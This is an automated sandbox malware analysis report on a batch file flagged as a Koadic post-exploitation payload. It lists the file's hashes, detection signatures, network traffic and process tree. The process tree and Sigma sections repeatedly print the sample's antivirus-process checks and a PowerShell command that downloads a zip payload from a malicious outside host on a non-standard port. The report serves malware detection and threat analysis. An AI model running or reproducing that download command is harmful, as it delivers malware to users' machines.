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Windows Analysis Report
txt.bat

Overview

General Information

Sample name:	txt.bat
Analysis ID:	1554980
MD5:	b8bc030c21b77383109651fa9800b3a1
SHA1:	db9439324227858dc5b0f3d92a1e8cea5157de91
SHA256:	dd4f6120feace1379dd7978c513d4c839ee9e4b605d50360fac9412dcd6aae69
Tags:	batkendychop-shopuser-JAMESWT_MHT
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

AI detected suspicious sample

Found large BAT file

Suspicious powershell command line found

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6892 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\txt.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1928 cmdline: tasklist /FI "IMAGENAME eq AvastUI.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 4124 cmdline: find /i "AvastUI.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

tasklist.exe (PID: 7020 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3840 cmdline: find /i "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

powershell.exe (PID: 6404 cmdline: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
txt.bat	MALWARE_BAT_KoadicBAT	Koadic post-exploitation framework BAT payload	ditekSHen	0x2:$s1: &@cls&@set 0x59:$s2: :~59,1%% 0x64:$s2: :~57,1%% 0x6f:$s2: :~55,1%% 0x7a:$s2: :~53,1%% 0x85:$s2: :~60,1%% 0x90:$s2: :~15,1%% 0x9b:$s2: :~60,1%% 0xa6:$s2: :~8,1%% 0xb0:$s2: :~8,1%% 0xc5:$s2: :~38,1%% 0xd9:$s2: :~57,1%% 0xe4:$s2: :~11,1%% 0xef:$s2: :~1,1%% 0xf9:$s2: :~60,1%% 0x104:$s2: :~55,1%% 0x10f:$s2: :~18,1%% 0x11a:$s2: :~1,1% 0x12a:$s2: :~15,1%% 0x135:$s2: :~61,1%% 0x140:$s2: :~53,1%%

Sigma Signatures

System Summary

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\txt.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6892, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 6404, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\txt.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6892, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 6404, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\txt.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6892, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }", ProcessId: 6404, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://kendychop.shop:9135/FTSP.zip	Avira URL Cloud: Label: phishing
Source: http://kendychop.shop:9135/bab.zipF	Avira URL Cloud: Label: phishing
Source: http://kendychop.shop:9135/FTSP.zip$b=J(	Avira URL Cloud: Label: phishing
Source: http://kendychop.shop:9135/FTSP.zip-	Avira URL Cloud: Label: phishing
Source: http://kendychop.shop:9135/bab.zip	Avira URL Cloud: Label: malware
Source: http://kendychop.shop	Avira URL Cloud: Label: phishing
Source: http://kendychop.shop:9135/FTSP.zipxb	Avira URL Cloud: Label: phishing
Source: http://kendychop.shop:9135	Avira URL Cloud: Label: phishing
Source: http://kendychop.shop:9135/FTSP.zipHOMEDRIVE=C:HOMEPATH=	Avira URL Cloud: Label: phishing

Multi AV Scanner detection for domain / URL

Source: kendychop.shop	Virustotal: Detection: 17%			Perma Link
Source: http://kendychop.shop:9135/FTSP.zip	Virustotal: Detection: 18%			Perma Link

Multi AV Scanner detection for submitted file

Source: txt.bat

Virustotal: Detection: 11%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 95.6% probability

Source:	Binary string: softy.pdb source: powershell.exe, 00000007.00000002.1580663987.000001D456A2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb{! source: powershell.exe, 00000007.00000002.1581880283.000001D456C46000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000007.00000002.1581880283.000001D456C55000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdb^p[L source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 00000007.00000002.1580663987.000001D456A2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000007.00000002.1580663987.000001D456A2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000007.00000002.1562199392.000001D43CAD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdbMKJM\ source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb. source: powershell.exe, 00000007.00000002.1580663987.000001D456AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000007.00000002.1581880283.000001D456C18000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb100 source: powershell.exe, 00000007.00000002.1580663987.000001D456A90000.00000004.00000020.00020000.00000000.sdmp

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 9135
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 9135

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 154.216.17.175:9135

Source: Joe Sandbox View

ASN Name: SKHT-ASShenzhenKatherineHengTechnologyInformationCo SKHT-ASShenzhenKatherineHengTechnologyInformationCo

Source: global traffic	HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kendychop.shop:9135Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kendychop.shop:9135Connection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kendychop.shop:9135Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bab.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kendychop.shop:9135Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: kendychop.shop

Source: powershell.exe, 00000007.00000002.1562931121.000001D43FDD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop
Source: powershell.exe, 00000007.00000002.1562931121.000001D43F412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562931121.000001D43FDD2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:9135
Source: powershell.exe, 00000007.00000002.1562199392.000001D43C9F9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1580663987.000001D4569E0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562783690.000001D43CC14000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562684441.000001D43CBF3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1581880283.000001D456C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:9135/FTSP.zip
Source: powershell.exe, 00000007.00000002.1562199392.000001D43C9F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:9135/FTSP.zip$b=J(
Source: powershell.exe, 00000007.00000002.1580663987.000001D4569E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:9135/FTSP.zip-
Source: powershell.exe, 00000007.00000002.1562783690.000001D43CC16000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562783690.000001D43CC14000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562684441.000001D43CBF3000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1580663987.000001D456A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:9135/FTSP.zipHOMEDRIVE=C:HOMEPATH=
Source: powershell.exe, 00000007.00000002.1562199392.000001D43C9F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:9135/FTSP.zipxb
Source: powershell.exe, 00000007.00000002.1562199392.000001D43C9F0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1581880283.000001D456C46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:9135/bab.zip
Source: powershell.exe, 00000007.00000002.1562684441.000001D43CBF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kendychop.shop:9135/bab.zipF
Source: powershell.exe, 00000007.00000002.1562931121.000001D4400D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1576988174.000001D44E84F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1576988174.000001D44E992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000007.00000002.1562931121.000001D440079000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000007.00000002.1562931121.000001D43E7E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000007.00000002.1562931121.000001D440079000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000007.00000002.1562931121.000001D43E7E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000007.00000002.1576988174.000001D44E992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.1576988174.000001D44E992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.1576988174.000001D44E992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.1562931121.000001D440079000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000007.00000002.1562931121.000001D43F412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000007.00000002.1562931121.000001D4400D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1576988174.000001D44E84F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1576988174.000001D44E992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000007.00000002.1562931121.000001D43FE10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

System Summary

Malicious sample detected (through community Yara rule)

Source: txt.bat, type: SAMPLE

Matched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen

Found large BAT file

Source: txt.bat

Static file information: 5002512

Source: txt.bat, type: SAMPLE

Matched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload

Source: classification engine

Classification label: mal88.troj.winBAT@12/3@1/1

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1160:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eslh4spj.vtv.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\txt.bat" "

Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVASTUI.EXE'
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'AVGUI.EXE'

Source: C:\Windows\System32\tasklist.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: txt.bat

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\txt.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://kendychop.shop:9135/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\System32\tasklist.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: txt.bat

Static file information: File size 5002512 > 1048576

Source:	Binary string: softy.pdb source: powershell.exe, 00000007.00000002.1580663987.000001D456A2D000.00000004.00000020.00020000.00000000.sdmp
